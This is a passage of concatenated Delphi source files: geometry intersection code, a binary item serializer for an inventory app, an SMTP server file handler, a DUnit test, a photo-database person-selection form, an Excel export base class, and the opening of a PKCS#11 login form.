if ((DistP1 > 0.0) and (DistP2 < 0.0)) then
exit(true);
if ((DistP1 < 0.0) and (DistP2 > 0.0)) then
exit(true);
exit(false);
end;
function IntersectionTest(const T : Triangle; const L : Line) : Boolean;
begin
if (IntersectionTest(T.A, T.B, L)) then
exit(true);
if (IntersectionTest(T.B, T.C, L)) then
exit(true);
if (IntersectionTest(T.A, T.C, L)) then
exit(true);
exit(false);
end;
end.
|
unit InflatablesList_Item_IO_00000009;
{$INCLUDE '.\InflatablesList_defs.inc'}
interface
uses
Classes,
AuxTypes,
InflatablesList_Item_IO_00000008;
type
TILItem_IO_00000009 = class(TILItem_IO_00000008)
protected
procedure InitSaveFunctions(Struct: UInt32); override;
procedure InitLoadFunctions(Struct: UInt32); override;
procedure SaveItem_Plain_00000009(Stream: TStream); virtual;
procedure LoadItem_Plain_00000009(Stream: TStream); virtual;
end;
implementation
uses
BinaryStreaming,
InflatablesList_Types,
InflatablesList_ItemShop,
InflatablesList_Item_IO;
procedure TILItem_IO_00000009.InitSaveFunctions(Struct: UInt32);
begin
If Struct = IL_ITEM_STREAMSTRUCTURE_00000009 then
begin
fFNSaveToStream := SaveItem_00000008;
fFNSavePicture := SavePicture_00000008;
fFNSaveToStreamPlain := SaveItem_Plain_00000009;
fFNSaveToStreamProc := SaveItem_Processed_00000008;
end
else inherited InitSaveFunctions(Struct);
end;
//------------------------------------------------------------------------------
procedure TILItem_IO_00000009.InitLoadFunctions(Struct: UInt32);
begin
If Struct = IL_ITEM_STREAMSTRUCTURE_00000009 then
begin
fFNLoadFromStream := LoadItem_00000008;
fFNLoadPicture := LoadPicture_00000008;
fFNLoadFromStreamPlain := LoadItem_Plain_00000009;
fFNLoadFromStreamProc := LoadItem_Processed_00000008;
fFNDeferredLoadProc := LoadItem_Plain_00000009;
fDeferredLoadProcNum := Struct;
end
else inherited InitLoadFunctions(Struct);
end;
//------------------------------------------------------------------------------
procedure TILItem_IO_00000009.SaveItem_Plain_00000009(Stream: TStream);
var
i: Integer;
begin
Stream_WriteBuffer(Stream,fUniqueID,SizeOf(fUniqueID));
Stream_WriteFloat64(Stream,fTimeOfAddition);
// pictures
fPictures.SaveToStream(Stream);
// basic specs
Stream_WriteInt32(Stream,IL_ItemTypeToNum(fItemType));
Stream_WriteString(Stream,fItemTypeSpec);
Stream_WriteUInt32(Stream,fPieces);
Stream_WriteString(Stream,fUserID);
Stream_WriteInt32(Stream,IL_ItemManufacturerToNum(fManufacturer));
Stream_WriteString(Stream,fManufacturerStr);
Stream_WriteString(Stream,fTextID);
Stream_WriteInt32(Stream,fNumID);
// flags
Stream_WriteUInt32(Stream,IL_EncodeItemFlags(fFlags));
Stream_WriteString(Stream,fTextTag);
Stream_WriteInt32(Stream,fNumTag);
// extended specs
Stream_WriteUInt32(Stream,fWantedLevel);
Stream_WriteString(Stream,fVariant);
Stream_WriteString(Stream,fVariantTag);
Stream_WriteUInt32(Stream,fUnitWeight);
Stream_WriteInt32(Stream,IL_ItemMaterialToNum(fMaterial));
Stream_WriteUInt32(Stream,fThickness);
Stream_WriteUInt32(Stream,fSizeX);
Stream_WriteUInt32(Stream,fSizeY);
Stream_WriteUInt32(Stream,fSizeZ);
// others
Stream_WriteString(Stream,fNotes);
Stream_WriteString(Stream,fReviewURL);
Stream_WriteUInt32(Stream,fUnitPriceDefault);
Stream_WriteUInt32(Stream,fRating);
Stream_WriteString(Stream,fRatingDetails);
// shop avail and prices
Stream_WriteUInt32(Stream,fUnitPriceLowest);
Stream_WriteUInt32(Stream,fUnitPriceHighest);
Stream_WriteUInt32(Stream,fUnitPriceSelected);
Stream_WriteInt32(Stream,fAvailableLowest);
Stream_WriteInt32(Stream,fAvailableHighest);
Stream_WriteInt32(Stream,fAvailableSelected);
// shops
Stream_WriteUInt32(Stream,ShopCount);
For i := ShopLowIndex to ShopHighIndex do
fShops[i].SaveToStream(Stream);
end;
//------------------------------------------------------------------------------
procedure TILItem_IO_00000009.LoadItem_Plain_00000009(Stream: TStream);
var
i: Integer;
begin
Stream_ReadBuffer(Stream,fUniqueID,SizeOf(fUniqueID));
fTimeOfAddition := TDateTime(Stream_ReadFloat64(Stream));
// pictures
fPictures.LoadFromStream(Stream);
// basic specs
fItemType := IL_NumToItemType(Stream_ReadInt32(Stream));
fItemTypeSpec := Stream_ReadString(Stream);
fPieces := Stream_ReadUInt32(Stream);
fUserID := Stream_ReadString(Stream);
fManufacturer := IL_NumToItemManufacturer(Stream_ReadInt32(Stream));
fManufacturerStr := Stream_ReadString(Stream);
fTextID := Stream_ReadString(Stream);
fNumID := Stream_ReadInt32(Stream);
// flags
fFlags := IL_DecodeItemFlags(Stream_ReadUInt32(Stream));
fTextTag := Stream_ReadString(Stream);
fNumTag := Stream_ReadInt32(Stream);
// extended specs
fWantedLevel := Stream_ReadUInt32(Stream);
fVariant := Stream_ReadString(Stream);
fVariantTag := Stream_ReadString(Stream);
fUnitWeight := Stream_ReadUInt32(Stream);
fMaterial := IL_NumToItemMaterial(Stream_ReadInt32(Stream));
fThickness := Stream_ReadUInt32(Stream);
fSizeX := Stream_ReadUInt32(Stream);
fSizeY := Stream_ReadUInt32(Stream);
fSizeZ := Stream_ReadUInt32(Stream);
// other info
fNotes := Stream_ReadString(Stream);
fReviewURL := Stream_ReadString(Stream);
fUnitPriceDefault := Stream_ReadUInt32(Stream);
fRating := Stream_ReadUInt32(Stream);
fRatingDetails := Stream_ReadString(Stream);
// shop avail and prices
fUnitPriceLowest := Stream_ReadUInt32(Stream);
fUnitPriceHighest := Stream_ReadUInt32(Stream);
fUnitPriceSelected := Stream_ReadUInt32(Stream);
fAvailableLowest := Stream_ReadInt32(Stream);
fAvailableHighest := Stream_ReadInt32(Stream);
fAvailableSelected := Stream_ReadInt32(Stream);
// shops
SetLength(fShops,Stream_ReadUInt32(Stream));
fShopCount := Length(fShops);
For i := ShopLowIndex to ShopHighIndex do
begin
fShops[i] := TILItemShop.Create;
fShops[i].StaticSettings := fStaticSettings;
fShops[i].LoadFromStream(Stream);
fShops[i].AssignInternalEvents(
ShopClearSelectedHandler,
ShopUpdateOverviewHandler,
ShopUpdateShopListItemHandler,
ShopUpdateValuesHandler,
ShopUpdateAvailHistoryHandler,
ShopUpdatePriceHistoryHandler);
end;
end;
end.
|
{
Clever Internet Suite Version 6.2
Copyright (C) 1999 - 2006 Clever Components
www.CleverComponents.com
}
unit clSmtpFileHandler;
interface
{$I clVer.inc}
{$IFDEF DELPHI6}
{$WARN SYMBOL_PLATFORM OFF}
{$ENDIF}
{$IFDEF DELPHI7}
{$WARN UNSAFE_CODE OFF}
{$WARN UNSAFE_TYPE OFF}
{$WARN UNSAFE_CAST OFF}
{$ENDIF}
uses
Classes, clSmtpServer, SyncObjs;
type
TclSmtpFileHandler = class(TComponent)
private
FServer: TclSmtpServer;
FAccessor: TCriticalSection;
FMailBoxDir: string;
FRelayDir: string;
FCounter: Integer;
procedure SetServer(const Value: TclSmtpServer);
function GetMailBoxPath(const AUserName: string): string;
procedure DoMessageReceived(Sender: TObject; AConnection: TclSmtpCommandConnection;
const ARecipient: string; IsFinalDelivery: Boolean; AMessage: TStrings;
var Action: TclSmtpMailDataAction);
procedure SetMailBoxDir(const Value: string);
procedure SetRelayDir(const Value: string);
function GenMessageFileName: string;
procedure SetCounter(const Value: Integer);
protected
procedure Notification(AComponent: TComponent; Operation: TOperation); override;
procedure CleanEventHandlers; virtual;
procedure InitEventHandlers; virtual;
property Accessor: TCriticalSection read FAccessor;
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
published
property Server: TclSmtpServer read FServer write SetServer;
property MailBoxDir: string read FMailBoxDir write SetMailBoxDir;
property RelayDir: string read FRelayDir write SetRelayDir;
property Counter: Integer read FCounter write SetCounter default 1;
end;
implementation
uses
Windows, SysUtils, clUtils;
{ TclSmtpFileHandler }
procedure TclSmtpFileHandler.CleanEventHandlers;
begin
Server.OnMessageReceived := nil;
end;
constructor TclSmtpFileHandler.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
FAccessor := TCriticalSection.Create();
FCounter := 1;
end;
destructor TclSmtpFileHandler.Destroy;
begin
FAccessor.Free();
inherited Destroy();
end;
procedure TclSmtpFileHandler.DoMessageReceived(Sender: TObject;
AConnection: TclSmtpCommandConnection; const ARecipient: string;
IsFinalDelivery: Boolean; AMessage: TStrings; var Action: TclSmtpMailDataAction);
var
path: string;
account: TclSmtpUserAccountItem;
begin
try
if IsFinalDelivery then
begin
account := Server.UserAccounts.AccountByEmail(ARecipient);
Assert(account <> nil);
path := GetMailBoxPath(account.UserName);
end else
begin
path := AddTrailingBackSlash(RelayDir);
end;
FAccessor.Enter();
try
ForceFileDirectories(path);
AMessage.SaveToFile(path + GenMessageFileName());
Action := mdOk;
finally
FAccessor.Leave();
end;
except
Action := mdProcessingError;
end;
end;
function TclSmtpFileHandler.GenMessageFileName: string;
begin
Result := GetUniqueFileName(Format('MAIL%.8d.MSG', [Counter]));
Inc(FCounter);
end;
function TclSmtpFileHandler.GetMailBoxPath(const AUserName: string): string;
begin
Result := AddTrailingBackSlash(MailBoxDir) + AddTrailingBackSlash(AUserName);
end;
procedure TclSmtpFileHandler.InitEventHandlers;
begin
Server.OnMessageReceived := DoMessageReceived;
end;
procedure TclSmtpFileHandler.Notification(AComponent: TComponent; Operation: TOperation);
begin
inherited Notification(AComponent, Operation);
if (Operation <> opRemove) then Exit;
if (AComponent = FServer) then
begin
CleanEventHandlers();
FServer := nil;
end;
end;
procedure TclSmtpFileHandler.SetCounter(const Value: Integer);
begin
FAccessor.Enter();
try
FCounter := Value;
finally
FAccessor.Leave();
end;
end;
procedure TclSmtpFileHandler.SetMailBoxDir(const Value: string);
begin
FAccessor.Enter();
try
FMailBoxDir := Value;
finally
FAccessor.Leave();
end;
end;
procedure TclSmtpFileHandler.SetRelayDir(const Value: string);
begin
FAccessor.Enter();
try
FRelayDir := Value;
finally
FAccessor.Leave();
end;
end;
procedure TclSmtpFileHandler.SetServer(const Value: TclSmtpServer);
begin
if (FServer <> Value) then
begin
{$IFDEF DELPHI5}
if (FServer <> nil) then
begin
FServer.RemoveFreeNotification(Self);
CleanEventHandlers();
end;
{$ENDIF}
FServer := Value;
if (FServer <> nil) then
begin
FServer.FreeNotification(Self);
InitEventHandlers();
end;
end;
end;
end.
|
unit TestULeituraGasController;
{
Delphi DUnit Test Case
----------------------
This unit contains a skeleton test case class generated by the Test Case Wizard.
Modify the generated code to correctly setup and call the methods from the unit
being tested.
}
interface
uses
TestFramework, UItensLeituraGasController, UCondominioVo, ULeituraGasVO, SysUtils,
DBClient, DBXJSON, UCondominioController, DBXCommon, Generics.Collections, Classes,
UController, ULeituraGasController, DB, UITENSLEITURAGASVO, ConexaoBD, SQLExpr;
type
// Test methods for class TLeituraGasController
TestTLeituraGasController = class(TTestCase)
strict private
FLeituraGasController: TLeituraGasController;
public
procedure SetUp; override;
procedure TearDown; override;
published
procedure TestConsultarPorId;
procedure TesteConsultarPorIdNaoEncontrado;
end;
implementation
procedure TestTLeituraGasController.SetUp;
begin
FLeituraGasController := TLeituraGasController.Create;
end;
procedure TestTLeituraGasController.TearDown;
begin
FLeituraGasController.Free;
FLeituraGasController := nil;
end;
procedure TestTLeituraGasController.TestConsultarPorId;
var
ReturnValue: TLeituraGasVO;
begin
ReturnValue := FLeituraGasController.ConsultarPorId(69);
if(returnvalue <> nil) then
check(true,'Leitura pesquisada com sucesso!')
else
check(False,'Leitura nao encontrada!');
end;
procedure TestTLeituraGasController.TesteConsultarPorIdNaoEncontrado;
var
ReturnValue: TLeituraGasVO;
begin
ReturnValue := FLeituraGasController.ConsultarPorId(4);
if(returnvalue <> nil) then
check(false,'Leitura pesquisada com sucesso!')
else
check(true,'Leitura nao encontrada!');
end;
initialization
// Register any test cases with the test runner
RegisterTest(TestTLeituraGasController.Suite);
end.
|
unit uFormSelectPerson;
interface
uses
System.Types,
System.SysUtils,
System.Classes,
Winapi.Windows,
Winapi.Messages,
Winapi.CommCtrl,
Winapi.ActiveX,
Vcl.Graphics,
Vcl.Controls,
Vcl.Forms,
Vcl.Dialogs,
Vcl.ExtCtrls,
Vcl.StdCtrls,
Vcl.ComCtrls,
Vcl.ImgList,
Dmitry.Utils.System,
Dmitry.Controls.Base,
Dmitry.Controls.WatermarkedEdit,
Dmitry.Controls.LoadingSign,
Dmitry.Controls.WebLink,
Dmitry.Controls.SaveWindowPos,
uConstants,
uThreadForm,
uThreadTask,
uPeopleRepository,
uBitmapUtils,
uMemory,
uMachMask,
uFormInterfaces,
uDBEntities,
uDBContext,
uDBManager,
uGraphicUtils,
uFaceRecognizerService;
type
TFormFindPerson = class(TThreadForm)
WedPersonFilter: TWatermarkedEdit;
LbFindPerson: TLabel;
ImSearch: TImage;
BtnOk: TButton;
BtnCancel: TButton;
LvPersons: TListView;
TmrSearch: TTimer;
ImlPersons: TImageList;
LsMain: TLoadingSign;
WlCreatePerson: TWebLink;
SaveWindowPos1: TSaveWindowPos;
procedure BtnCancelClick(Sender: TObject);
procedure FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);
procedure FormCreate(Sender: TObject);
procedure WedPersonFilterChange(Sender: TObject);
procedure TmrSearchTimer(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure LvPersonsDblClick(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure BtnOkClick(Sender: TObject);
procedure WedPersonFilterKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);
procedure LvPersonsSelectItem(Sender: TObject; Item: TListItem; Selected: Boolean);
procedure WlCreatePersonClick(Sender: TObject);
procedure LvPersonsDrawItem(Sender: TCustomListView; Item: TListItem;
Rect: TRect; State: TOwnerDrawState);
private
{ Private declarations }
FContext: IDBContext;
FPeopleRepository: IPeopleRepository;
WndMethod: TWndMethod;
FInfo: TMediaItem;
FFormResult: Integer;
FPersons: TPersonCollection;
FSimilarFaces: IRelatedPersonsCollection;
FStarChar: Char;
function GetIndex(aNMHdr: pNMHdr): Integer;
procedure CheckMsg(var aMsg: TMessage);
procedure LoadList;
procedure AddItem(P: TPerson);
procedure LoadLanguage;
procedure EnableControls(IsEnabled: Boolean);
protected
function GetFormID: string; override;
procedure CustomFormAfterDisplay; override;
procedure CloseForm;
public
{ Public declarations }
function Execute(Info: TMediaItem; var Person: TPerson; SimilarFaces: IRelatedPersonsCollection): Integer;
end;
const
SELECT_PERSON_CANCEL = 0;
SELECT_PERSON_OK = 1;
SELECT_PERSON_CREATE_NEW = 2;
implementation
{$R *.dfm}
function TFormFindPerson.GetFormID: string;
begin
Result := 'SelectPerson';
end;
function TFormFindPerson.GetIndex(aNMHdr: pNMHdr): Integer;
var
hHWND: HWND;
HdItem: THdItem;
iIndex: Integer;
iResult: Integer;
iLoop: Integer;
sCaption: string;
sText: string;
Buf: array [0..128] of Char;
begin
Result := -1;
hHWND := aNMHdr^.hwndFrom;
iIndex := pHDNotify(aNMHdr)^.Item;
FillChar(HdItem, SizeOf(HdItem), 0);
with HdItem do
begin
pszText := Buf;
cchTextMax := SizeOf(Buf) - 1;
Mask := HDI_TEXT;
end;
Header_GetItem(hHWND, iIndex, HdItem);
with LvPersons do
begin
sCaption := Columns[iIndex].Caption;
sText := HdItem.pszText;
iResult := CompareStr(sCaption, sText);
if iResult = 0 then
Result := iIndex
else
begin
iLoop := Columns.Count - 1;
for iIndex := 0 to iLoop do
begin
iResult := CompareStr(sCaption, sText);
if iResult <> 0 then
Continue;
Result := iIndex;
break;
end;
end;
end;
end;
procedure TFormFindPerson.CloseForm;
begin
LsMain.Hide;
if (LvPersons.Selected <> nil) and (FInfo <> nil) and (FInfo.ID = 0) then
begin
NewFormState;
FInfo.Include := True;
CollectionAddItemForm.Execute(FInfo);
if FInfo.ID = 0 then
Exit;
end;
FFormResult := SELECT_PERSON_OK;
Close;
end;
procedure TFormFindPerson.CustomFormAfterDisplay;
begin
inherited;
WedPersonFilter.Refresh;
end;
procedure TFormFindPerson.BtnOkClick(Sender: TObject);
begin
if LvPersons.Selected <> nil then
begin
CloseForm;
Exit;
end;
Close;
end;
procedure TFormFindPerson.CheckMsg(var aMsg: TMessage);
var
HDNotify: ^THDNotify;
NMHdr: pNMHdr;
iCode: Integer;
iIndex: Integer;
begin
case aMsg.Msg of
WM_NOTIFY:
begin
HDNotify := Pointer(aMsg.lParam);
iCode := HDNotify.Hdr.code;
if (iCode = HDN_BEGINTRACKW) or
(iCode = HDN_BEGINTRACKA) then
begin
NMHdr := TWMNotify(aMsg).NMHdr;
// chekck column index
iIndex := GetIndex(NMHdr);
// prevent resizing of columns if index's less than 3
if iIndex < 3 then
aMsg.Result := 1;
end
else
WndMethod(aMsg);
end;
else
WndMethod(aMsg);
end;
end;
procedure TFormFindPerson.BtnCancelClick(Sender: TObject);
begin
Close;
end;
procedure TFormFindPerson.EnableControls(IsEnabled: Boolean);
begin
BtnOk.Enabled := IsEnabled;
BtnCancel.Enabled := IsEnabled;
LvPersons.Enabled := IsEnabled;
WedPersonFilter.Enabled := IsEnabled;
LsMain.Visible := not IsEnabled;
end;
function TFormFindPerson.Execute(Info: TMediaItem; var Person: TPerson; SimilarFaces: IRelatedPersonsCollection): Integer;
begin
FSimilarFaces := SimilarFaces;
FFormResult := SELECT_PERSON_CANCEL;
if Info <> nil then
FInfo := Info.Copy
else
WlCreatePerson.Hide;
ShowModal;
if LvPersons.Selected <> nil then
Person := TPerson(TPerson(LvPersons.Selected.Data).Clone);
Result := FFormResult;
end;
procedure TFormFindPerson.FormClose(Sender: TObject; var Action: TCloseAction);
begin
LvPersons.WindowProc := WndMethod;
end;
procedure TFormFindPerson.FormCreate(Sender: TObject);
begin
FContext := DBManager.DBContext;
FPeopleRepository := FContext.People;
FInfo := nil;
FPersons := TPersonCollection.Create(False);
FFormResult := SELECT_PERSON_CANCEL;
WndMethod := LvPersons.WindowProc;
LvPersons.WindowProc := CheckMsg;
LoadList;
TmrSearchTimer(Self);
LoadLanguage;
SaveWindowPos1.Key := RegRoot + 'SelectPerson';
SaveWindowPos1.SetPosition(True);
if IsWindowsXPOnly then
FStarChar := '*'
else
FStarChar := '★';
end;
procedure TFormFindPerson.FormDestroy(Sender: TObject);
begin
SaveWindowPos1.SavePosition;
FPersons.FreeItems;
F(FPersons);
F(FInfo);
FPeopleRepository := nil;
FContext := nil;
end;
procedure TFormFindPerson.FormKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if Key = VK_ESCAPE then
Close;
end;
procedure TFormFindPerson.LoadLanguage;
begin
BeginTranslate;
try
Caption := L('Select person');
BtnOk.Caption := L('Ok');
BtnCancel.Caption := L('Cancel');
LvPersons.Column[0].Caption := L('Photo');
LvPersons.Column[1].Caption := L('Name');
LbFindPerson.Caption := L('Find person');
WedPersonFilter.WatermarkText := L('Filter persons');
WlCreatePerson.Text := L('Close window and create new person');
finally
EndTranslate;
end;
end;
procedure TFormFindPerson.LoadList;
begin
LvPersons.Clear;
ImlPersons.Clear;
NewFormState;
LsMain.Show;
LvPersons.ControlStyle := LvPersons.ControlStyle + [csOpaque];
TThreadTask.Create(Self, Pointer(nil),
procedure(Thread: TThreadTask; Data: Pointer)
var
W, H: Integer;
B, B32, SmallB, LB: TBitmap;
ImageListWidth, ImageListHeight: Integer;
begin
ImageListWidth := 0;
ImageListHeight := 0;
if not Thread.SynchronizeTask(
procedure
begin
ImageListWidth := ImlPersons.Width;
ImageListHeight := ImlPersons.Height;
end
) then Exit;
CoInitialize(nil);
try
FPeopleRepository.LoadTopPersons(procedure(P: TPerson; var StopOperation: Boolean)
begin
B := TBitmap.Create;
try
B.Assign(P.Image);
W := B.Width;
H := B.Height;
SmallB := TBitmap.Create;
try
ProportionalSize(ImageListWidth - 4, ImageListHeight - 4, W, H);
DoResize(W, H, B, SmallB);
B32 := TBitmap.Create;
try
B32.PixelFormat := pf32Bit;
DrawShadowToImage(B32, SmallB);
LB := TBitmap.Create;
try
LB.PixelFormat := pf32bit;
LB.SetSize(ImageListWidth, ImageListHeight);
FillTransparentColor(LB, Theme.ListViewColor, 0);
DrawImageEx32To32(LB, B32, ImageListWidth div 2 - B32.Width div 2, ImageListHeight div 2 - B32.Height div 2);
if not Thread.SynchronizeTask(
procedure
begin
FPersons.Add(P);
ImlPersons.Add(LB, nil);
LvPersons.Items.BeginUpdate;
try
AddItem(P);
finally
LvPersons.Items.EndUpdate;
end;
end
) then
begin
F(P);
StopOperation := True;
end;
finally
F(LB);
end;
finally
F(B32);
end;
finally
F(SmallB);
end;
finally
F(B);
end;
end
);
finally
CoUninitialize;
end;
Thread.SynchronizeTask(
procedure
begin
LsMain.Hide;
LvPersons.ControlStyle := LvPersons.ControlStyle - [csOpaque];
end
);
end
);
end;
procedure TFormFindPerson.LvPersonsDrawItem(Sender: TCustomListView;
Item: TListItem; Rect: TRect; State: TOwnerDrawState);
var
I, X, Y: Integer;
DS: TDrawingStyle;
Data: TStrings;
LineHeight: Integer;
C: TCanvas;
P: TPerson;
Stars: string;
R: TRect;
begin
DS := dsNormal;
C := Sender.Canvas;
P := TPerson(Item.Data);
LineHeight := C.TextHeight('Iy') + 2;
if odSelected in State then
begin
DS := dsSelected;
C.Brush.Color := Theme.ListSelectedColor;
SetTextColor(C.Handle, Theme.ListFontSelectedColor);
end else
begin
C.Brush.Color := Theme.ListColor;
SetTextColor(C.Handle, Theme.ListFontColor);
end;
C.FillRect(Rect);
X := Sender.Column[0].Width div 2 - ImlPersons.Width div 2;
Y := Rect.Top + Rect.Height div 2 - ImlPersons.Height div 2;
ImlPersons.Draw(C, X, Y, Item.ImageIndex, DS, itImage);
Data := TStringList.Create;
try
Data.Add(P.Name);
if Trim(P.Comment) <> '' then
Data.Add(P.Comment);
Data.Add(FormatEx(L('Photos: {0}'), [P.Count]));
if P.Tag > 0 then
begin
Stars := '';
for I := 1 to P.Tag do
Stars := Stars + FStarChar;
Data.Add(FormatEx(L('Match: {0}'), [Stars]));
end;
Y := Rect.Top + Rect.Height div 2 - (LineHeight * Data.Count) div 2;
X := Sender.Column[0].Width + 2;
for I := 0 to Data.Count - 1 do
begin
R := System.Classes.Rect(X, Y + I * LineHeight, X + Rect.Right, Y + (I + 1) * LineHeight);
DrawText(C.Handle,
Data[I],
Length(Data[I]), R, DT_SINGLELINE or DT_VCENTER or DT_END_ELLIPSIS);
end;
finally
F(Data);
end;
end;
procedure TFormFindPerson.LvPersonsDblClick(Sender: TObject);
begin
CloseForm;
end;
procedure TFormFindPerson.LvPersonsSelectItem(Sender: TObject; Item: TListItem;
Selected: Boolean);
begin
BtnOk.Enabled := (Item <> nil) and Selected;
end;
procedure TFormFindPerson.TmrSearchTimer(Sender: TObject);
var
I: Integer;
begin
TmrSearch.Enabled := False;
BtnOk.Enabled := False;
if Sender <> Self then
BeginScreenUpdate(Handle);
LvPersons.Items.BeginUpdate;
try
LvPersons.Clear;
for I := 0 to FPersons.Count - 1 do
AddItem(FPersons[I]);
finally
LvPersons.Items.EndUpdate;
if Sender <> Self then
EndScreenUpdate(Handle, True);
end;
end;
procedure TFormFindPerson.AddItem(P: TPerson);
var
I: Integer;
LI: TListItem;
SearchTerm, Key: string;
Visible: Boolean;
SimilarFace: IFoundPerson;
InsertIndex: Integer;
begin
SearchTerm := AnsiLowerCase(WedPersonFilter.Text);
Key := AnsiLowerCase(P.Name + ' ' + P.Comment);
Visible := IsMatchWhiteSpaceMask(Key, SearchTerm);
if Visible then
begin
InsertIndex := -1;
SimilarFace := nil;
if FSimilarFaces <> nil then
SimilarFace := FSimilarFaces.GetPersonById(P.ID);
if SimilarFace <> nil then
begin
P.Tag := SimilarFace.GetStars;
for I := 0 to LvPersons.Items.Count - 1 do
begin
if P.Tag > TPerson(LvPersons.Items[I].Data).Tag then
begin
InsertIndex := I;
Break;
end;
end;
end;
if InsertIndex = -1 then
LI := LvPersons.Items.Add
else
LI := LvPersons.Items.Insert(InsertIndex);
LI.Caption := P.Name;
LI.ImageIndex := FPersons.IndexOf(P);
LI.Data := Pointer(P);
end;
end;
procedure TFormFindPerson.WedPersonFilterChange(Sender: TObject);
begin
TmrSearch.Enabled := False;
TmrSearch.Enabled := True;
end;
procedure TFormFindPerson.WedPersonFilterKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if (Key = VK_RETURN) and (LvPersons.Items.Count = 1) then
begin
Key := 0;
LvPersons.Items[0].Selected := True;
BtnOkClick(Sender);
end;
end;
procedure TFormFindPerson.WlCreatePersonClick(Sender: TObject);
begin
FFormResult := SELECT_PERSON_CREATE_NEW;
Close;
end;
end.
|
unit XLSExport2;
{-
********************************************************************************
******* XLSReadWriteII V3.00 *******
******* *******
******* Copyright(C) 1999,2004 Lars Arvidsson, Axolot Data *******
******* *******
******* email: components@axolot.com *******
******* URL: http://www.axolot.com *******
********************************************************************************
** Users of the XLSReadWriteII component must accept the following **
** disclaimer of warranty: **
** **
** XLSReadWriteII is supplied as is. The author disclaims all warranties, **
** expressedor implied, including, without limitation, the warranties of **
** merchantability and of fitness for any purpose. The author assumes no **
** liability for damages, direct or consequential, which may result from the **
** use of XLSReadWriteII. **
********************************************************************************
}
{$B-}
{$H+}
{$R-}
{$I XLSRWII2.inc}
interface
uses Classes, SysUtils, XLSReadWriteII2;
//* Base class for objects that exports TXLSReadWriteII data to other file formats.
type TXLSExport2 = class(TComponent)
private
procedure SetFilename(const Value: string);
protected
FFilename: string;
FXLS: TXLSReadWriteII2;
FCurrSheetIndex: integer;
FCol1,FCol2: integer;
FRow1,FRow2: integer;
procedure OpenFile; virtual;
procedure WriteFilePrefix; virtual;
procedure WritePagePrefix; virtual;
procedure WriteRowPrefix; virtual;
procedure WriteCell(SheetIndex,Col,Row: integer); virtual;
procedure WriteRowSuffix; virtual;
procedure WritePageSuffix; virtual;
procedure WriteFileSuffix; virtual;
procedure CloseFile; virtual;
procedure WriteData; virtual;
public
constructor Create(AOwner: TComponent); override;
//* Writes the data to the file set with ~[link Filename]
procedure Write;
//* Writes the data to a stream.
procedure SaveToStream(Stream: TStream); virtual;
published
//* Left column of the source area on the worksheet.
property Col1: integer read FCol1 write FCol1;
//* Right column of the source area on the worksheet.
property Col2: integer read FCol2 write FCol2;
//* Name of the destination file tjat the data shall be written to.
property Filename: string read FFilename write SetFilename;
//* Top row of the source area on the worksheet.
property Row1: integer read FRow1 write FRow1;
//* Bottom row of the source area on the worksheet.
property Row2: integer read FRow2 write FRow2;
//* The source TXLSReadWriteII2 object.
property XLS: TXLSReadWriteII2 read FXLS write FXLS;
end;
implementation
{ TXLSExport }
procedure TXLSExport2.CloseFile;
begin
end;
constructor TXLSExport2.Create(AOwner: TComponent);
begin
inherited;
FCol1 := -1;
FCol2 := -1;
FRow1 := -1;
FRow2 := -1;
end;
procedure TXLSExport2.OpenFile;
begin
end;
procedure TXLSExport2.SaveToStream(Stream: TStream);
begin
if FXLS = Nil then
raise Exception.Create('No TXLSReadWriteII defined');
WriteData;
end;
procedure TXLSExport2.SetFilename(const Value: string);
begin
FFilename := Value;
end;
procedure TXLSExport2.Write;
begin
if FFilename = '' then
raise Exception.Create('Filename is missing');
if FXLS = Nil then
raise Exception.Create('No TXLSReadWriteII defined');
OpenFile;
try
WriteData;
finally
CloseFile;
end;
end;
procedure TXLSExport2.WriteCell(SheetIndex, Col, Row: integer);
begin
end;
procedure TXLSExport2.WriteData;
var
i,Col,Row: integer;
C1,C2,R1,R2: integer;
begin
WriteFilePrefix;
for i := 0 to FXLS.Sheets.Count - 1 do begin
FXLS.Sheets[i].CalcDimensions;
if FCol1 >= 0 then C1 := FCol1 else C1 := FXLS.Sheets[i].FirstCol;
if FCol2 >= 0 then C2 := FCol2 else C2 := FXLS.Sheets[i].LastCol;
if FRow1 >= 0 then R1 := FRow1 else R1 := FXLS.Sheets[i].FirstRow;
if FRow2 >= 0 then R2 := FRow2 else R2 := FXLS.Sheets[i].LastRow;
FCurrSheetIndex := i;
WritePagePrefix;
for Row := R1 to R2 do begin
WriteRowPrefix;
for Col := C1 to C2 do
WriteCell(i,Col,Row);
WriteRowSuffix;
end;
WritePageSuffix;
end;
WriteFileSuffix;
end;
procedure TXLSExport2.WriteFilePrefix;
begin
end;
procedure TXLSExport2.WriteFileSuffix;
begin
end;
procedure TXLSExport2.WritePagePrefix;
begin
end;
procedure TXLSExport2.WritePageSuffix;
begin
end;
procedure TXLSExport2.WriteRowPrefix;
begin
end;
procedure TXLSExport2.WriteRowSuffix;
begin
end;
end.
|
unit frmPKCS11Session;
// If the result of ShowModal = mrOK, then "Session" will either be set to nil
// (don't use PKCS11 token), or a logged in PKCS#11 session
//
// It is up to the CALLER to close this session, and to free it off after use
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls,
pkcs11_library,
pkcs11_session, SDUForms;
type
TfrmPKCS11Session = class(TSDUForm)
cbToken: TComboBox;
edPIN: TEdit;
lblPIN: TLabel;
lblToken: TLabel;
pbOK: TButton;
pbCancel: TButton;
pbRefresh: TButton;
Label3: TLabel;
ckUseSecureAuthPath: TCheckBox;
pbSkip: TButton;
procedure FormCreate(Sender: TObject);
procedure ckUseSecureAuthPathClick(Sender: TObject);
procedure pbRefreshClick(Sender: TObject);
procedure pbOKClick(Sender: TObject);
procedure FormShow(Sender: TObject);
private
FAllowSkip: boolean;
FPKCS11LibObj: TPKCS11Library;
FPKCS11Session: TPKCS11Session;
procedure SetAllowSkip(skip: boolean);
protected
procedure PopulateTokens();
public
property PKCS11LibObj: TPKCS11Library read FPKCS11LibObj write FPKCS11LibObj;
property Session: TPKCS11Session read FPKCS11Session;
// Allow/supress the "Skip" button
